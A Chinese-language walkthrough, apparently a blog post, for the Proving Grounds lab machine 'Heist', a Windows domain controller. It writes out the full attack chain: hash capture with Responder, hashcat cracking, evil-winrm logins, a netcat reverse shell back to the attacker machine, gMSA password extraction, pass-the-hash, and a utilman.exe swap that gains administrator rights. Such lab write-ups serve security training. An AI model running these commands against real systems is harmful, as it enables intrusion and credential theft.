Proving Grounds Practice : Heist Walkthrough
Proving Grounds Practice : Heist Walkthrough
Foothole (立足點 ) :
- Rustscan 後發現是一台 DC,8080 網頁打開是一個可以輸入網址的視窗,標準就是想到 SMB 存取讀取 NetNTLMv2 HASH
- Responder 開啟嘗試後沒有看到任何認證,後來改用 http://<攻擊機IP> 成功讀取到 NetNTLMv2 HASH
- 破解 HASH 後得到帳號密碼,可以透過 evil-winrm 拿到 shell
PE ( 提權 ) :
- 跑 SharpHound & BloodHount 後發現現有使用者隸屬 web admin 群組且可以讀取 gMSA 帳號的密碼
- 透過 GMSAPasswordReader.exe 成功讀取到 svc_apache$ 帳號的 HASH
- 使用 PtH 一樣走 evil-winrm 登入後發現 SeRestorePrivilege(Enable)
- 依據 PoC 的方式用 cmd.exe 替換掉 Utilman.exe,然後透過 RDP 的前景方式呼叫 Utilman.exe 成功提權
注意事項 :
- Responder 固然是讀取 NetNTLMv2 HASH 的 Listen,但不是僅有 SMB 的存取方式才會送出,HTTP 也會送出要注意
- 有帳號密碼但無法用 impacket-psexec 拿到 shell 時可以考慮改 evil-winrm 拿 shell
- 學習知道有 gMSA 的密碼獲取程式 GMSAPasswordReader.exe
- Whoami /priv 發現 SeRestorePrivilege(Enable) 可以採用替換 Utilman.exe 的方式提權成功
Kali IP : 192.168.45.167
靶機 IP : 192.168.167.165
第一步掃 Port,└─$ rustscan -a 192.168.167.165 --scripts none --ulimit 5000 | tee rustscan
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.167.165 | tee snmp
nmap,└─$ sudo nmap -sCV -A -Pn -p 53,88,135,139,389,445,464,593,3268,3269,3389,5985,8080,9389,49667,49666,49673,49674,49677,49703,49759 192.168.167.165 | tee nmap
enum4linux without credential 沒戲,└─$ enum4linux -a 192.168.167.165 | tee enum4linux
LDAP nmap,└─$ sudo nmap --script "ldap* and not brute" 192.168.167.165 -p 389 -v -Pn -sT
網域資訊 : DC=heist,DC=offsec
Hostname : dc01
枚舉物件試試看,└─$ ldapsearch -v -x -b "DC=heist,DC=offsec" -H "ldap://192.168.167.165" "(objectclass=*)"
whatweb 8080,└─$ whatweb http://192.168.167.165:8080 | tee whatweb
8080 /
有個欄位可以讓你輸入 URL
8080 /robots.txt
gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.167.165:8080 -c -t 150 -x txt,pdf,git,aspx | tee gobuster
沒有列舉到相關路徑
8080 / 輸入 kali IP 試試看,http://192.168.45.167
Responder 收到帳號 enox 的 NetNTLMv2 驗證了
hashcat 破解後獲得一組帳號密碼 enox:california
crackmapexec 測試一下帳號密碼沒問題,但不是管理者
impacket-psexec 進不去沒有權限寫入 SYSVOL
impacket-psexec enox:california@192.168.167.165
改用 evil-winrm 進去了
evil-winrm -i 192.168.167.165 -u enox -p california
上傳 nc64.exe,upload nc64.exe 然後建立連線 .\nc64.exe 192.168.45.167 4444 -e C:\windows\system32\cmd.exe
4444 連線進來了,原本的 evil-winrm 可以棄用了
開始 PE,whoami /priv
跑完 Sharphound 後啟動 BloodHound 查看
發現 Web Admin 可以讀取 gMSA Password 去獲取 SVC_APACHE 的密碼
上傳 GMSAPasswordReader.exe
參考 : https://github.com/expl0itabl3/Toolies
執行看看有說明要帶入的參數,上面知道要列舉 svc_apache 這個帳號
所以直接列舉看看 .\GMSAPasswordReader.exe --accountname svc_apache
得到 rc4_hmac : 83AC7FECFBF44780E3AAF5D04DD368A5 (這個就是 NTLM HASH)
共有兩個一個是舊的,一個是當下的
rc4_hmac : 0AFF0D9DFA8B436E6688697B0A47B50C (Current Value)
hashcat 破解,└─$ hashcat -m 1000 svc_apache.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
解不出來沒關係,有 HASH 就可以利用,一樣 evil-winrm PtH 進去試試看
特別注意這是 gMSA 帳號,最後面有個 $
└─$ evil-winrm -i 192.168.163.165 -u svc_apache$ -H 0aff0d9dfa8b436e6688697b0a47b50c
開始服務帳號列舉 whoami /priv,發現 SeRestorePrivilege Enabled
有關 SeRestorePrivilege 寫到提權的步驟
3. Rename utilman.exe to utilman.old --> 將 utilman.exe 重新命名 4. Rename cmd.exe to utilman.exe --> 將 cmd.exe 做一個當作 utilman.exe 5. Lock the console and press Win+U --> 在 Windows 鎖定頁面輸入 Win+U
先切換到 C:\windows\system32 目錄底下執行 utilman.exe 重新命名
“ren utilman.exe utilman.old"
再執行
“copy cmd.exe utilman.exe”結果 GG 不能偷吃步
造著 PoC 寫的一樣用 rename
"ren cmd.exe utilman.exe"
rdesktop 192.168.167.165
然後輸入 Win+U 叫出 utilman.exe,因為已經被 cmd.exe 取代了
所以直接出現 command 視窗,whoami 看一下是管理者了,結束這回合
留言
張貼留言